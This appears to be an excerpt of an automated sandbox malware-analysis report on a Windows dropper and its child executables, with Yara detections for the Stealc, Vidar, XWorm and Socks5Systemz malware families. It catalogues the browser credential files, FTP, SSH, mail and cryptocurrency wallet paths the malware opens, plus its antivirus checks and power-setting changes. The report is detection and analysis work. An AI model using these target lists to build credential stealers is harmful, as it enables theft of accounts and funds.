Source: C:\Users\user\Desktop\kqS23MOytx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Queries volume information: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Queries volume information: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Queries volume information: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Queries volume information: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe VolumeInformation
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Queries volume information: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe VolumeInformation
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Queries volume information: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe VolumeInformation
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\ProgramData\jewkkwnf\jewkkwnf.exe VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\ProgramData\jewkkwnf\jewkkwnf.exe VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Queries volume information: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042C1E0 GetSystemTimeAsFileTime,

2_2_0042C1E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00441E50 GetComputerNameA,__aulldiv,GlobalAlloc,LookupAccountNameA,GetLastError,ConvertSidToStringSidA,GetLastError,

2_2_00441E50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042D870 RtlGetVersion,GetVersionExA,

2_2_0042D870

Source: C:\Users\user\Desktop\kqS23MOytx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.1946769651.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, 7DyzwtKyuY4CtD_VmEPX58OX.exe, 0000000B.00000002.1944410819.0000000001073000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.1946769651.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, 7DyzwtKyuY4CtD_VmEPX58OX.exe, 0000000B.00000002.1944410819.0000000001073000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001057000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Socks5Systemz

Source: Yara match	File source: 0000001F.00000002.3075773502.0000000002D61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3075712791.0000000002CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: simplefreevideocutter32_64.exe PID: 7876, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LfiXVL0FmEQ8Z73WgU_xbDtt.exe PID: 8004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 352, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2758927200.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 43.2.cmd.exe.5ed00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.cmd.exe.5ed00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jnpqblobe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: jaxXxGb0oEwncuLZvvN
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: kqS23MOytx.exe	String found in binary or memory: set_UseMachineKeyStore
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Directory queried: C:\Users\user\Documents

Source: Yara match
